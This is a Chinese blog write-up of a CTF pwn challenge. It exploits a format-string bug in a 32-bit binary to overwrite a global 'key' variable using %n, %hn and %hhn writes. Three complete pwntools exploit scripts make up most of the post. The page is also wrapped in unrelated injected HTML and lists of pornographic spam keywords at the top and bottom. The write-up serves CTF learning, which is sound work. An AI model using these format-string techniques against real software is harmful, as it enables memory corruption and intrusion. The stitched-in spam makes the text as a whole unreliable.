<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      攻防世界pwn題:實時數據檢測

      0x00:查看文件

      一個32位的文件,canaryNXPIE保護機制均關閉。

       

      0x01:用IDA進行靜態分析

      程序很簡單,輸入一串字符(個數限制:512),然后再輸出。最后根據key變量進行條件語句執行。

      imagemagic函數中用printf(format)進行輸出,大概率有格式化字符串漏洞。因為key的地址在bss段:0x0804A048,所以試試用格式化字符串漏洞進行覆蓋。

       

      檢測一下是否可以對隨意地址進行覆蓋:

      有重復的,位于第12個參數。重復的原因是因為s是定義在了棧上。

      payload = p32(key_addr) + b'%035795742d' + b'%12$n'

      • key的地址寫在第一位,相當于也會寫在第12參數上。
      • %12$n : 是指對第12的參數寫入前面成功輸出的字節數。
      • %035795742d:前面key_addr已經占了4個字節,還要在輸出35795746 - 4個字節。

       

      0x02:完整EXP

      from pwn import *
      context(os='linux', arch='i386', log_level='debug')
      
      io = process("./datajk")
      #io = remote("111.200.241.244",65079)
      
      key_addr = 0x0804A048
      payload = p32(key_addr) + b'%35795742d' + b'%12$n'
      
      io.sendline(payload)
      io.interactive()

      遠程的話大概要幾分鐘輸出,本地的話快一點。這種方法看著就很粗魯,但很簡單。

       

      0x03:使用標志進行改進

      上面因為%n是寫入4字節數據,所以就直接寫整個數,導致要輸出大量數據才可以滿足。但帶格式化字符串中有那么兩個標識:

      • h :以雙字節的形式;
      • hh:以單字節的形式;

       

      使用h標志進行改進:

      要使key=357957460x0222 3322),因為程序為小端序,高字節存儲在低地址。所以就是要使key_addr處為0x3322key_addr+2處為0x0222

      from pwn import *
      context(os='linux', arch='i386', log_level='debug')
      
      #io = process("./datajk")
      io = gdb.debug("./datajk")
      key_addr = 0x0804A048
      
      #35795746 == 0x02223322
      #num1 = 0x222 0x222 == 546
      #num2 = 0x3322 0x3322 == 13090; 12544=13090-546
      
      payload = p32(key_addr) + p32(key_addr + 2)
      payload += b'%0538d' + b'%13$hn'
      payload += b'%012544d' + b'%12$hn'
      
      io.sendline(payload)
      io.interactive()

      注:用%n寫入數據的順序要從寫入數值小的開始。

      前面已經輸出了兩個地址,占了8字節,所以0x222要減去8538。后面的12544同理,要減去已輸出的量。

       

      使用hh標志進行改進:

      0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按數值從小到大依次寫入。

      這時要靈活的改變‘覆蓋地址’的參數位了,可以先看一下wiki中的這個頁面的‘覆蓋小數字’:

      https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14

       

      exp里面的a主要用于調參數位(按4調整)。由于這里調動比較靈活,同時代碼不唯一,但大概思想不變。所以就不做多解釋了,有問題可以在評論區提出。

      from pwn import *
      context(os='linux', arch='i386', log_level='debug')
      
      io = process("./datajk")
      key_addr
      = 0x0804A048 #0x02 22 33 22 (high -> low) #input 0x02 payload = b'aa%15$hhnaaa' + p32(key_addr + 3) #input 0x22(two) payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna' #input 0x33 payload += p32(key_addr + 1) + b'%012d%23$hhn' io.sendline(payload) io.interactive()

       

      0x04:感觸

      沒有絕對安全的系統!


       

      tolele

      2022-06-16 

       

      posted @ 2022-06-16 13:42  tolele  閱讀(265)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 久久久久国产精品人妻| 日韩视频中文字幕精品偷拍| 国产老头多毛Gay老年男| 国产AV影片麻豆精品传媒| 亚洲av麻豆aⅴ无码电影| 五月综合网亚洲乱妇久久| 无码一区二区三区久久精品| 一区二区三区鲁丝不卡| 熟女人妻aⅴ一区二区三区电影 | 国产影片AV级毛片特别刺激| 人体内射精一区二区三区| 又大又粗又爽的少妇免费视频| 国产一区二区不卡精品视频| 激情在线一区二区三区视频| 日韩午夜福利视频在线观看| 国产成人剧情AV麻豆果冻| 久久波多野结衣av| 亚洲国产精品视频一二区| 久热这里只有精品视频3| 久久欧洲精品成av人片| 亚洲欧美人成电影在线观看| 亚洲精品中文字幕二区| 天堂网av成人在线观看| 偷拍专区一区二区三区| 无码熟妇αⅴ人妻又粗又大| 国产成人午夜精品永久免费| 无码人妻丝袜在线视频| 蜜臀在线播放一区在线播放| 人妻少妇偷人无码视频| 污污内射在线观看一区二区少妇| AV无码免费不卡在线观看 | 秋霞鲁丝片成人无码| 久久国产精品免费一区| 日韩女同一区二区三区久久| 国产午夜福利免费入口| 婷婷五月综合激情| 中文字幕亚洲精品乱码| 日本A级视频在线播放| 国产日韩一区二区在线| 亚洲区成人综合一区二区| 日本免费人成视频在线观看|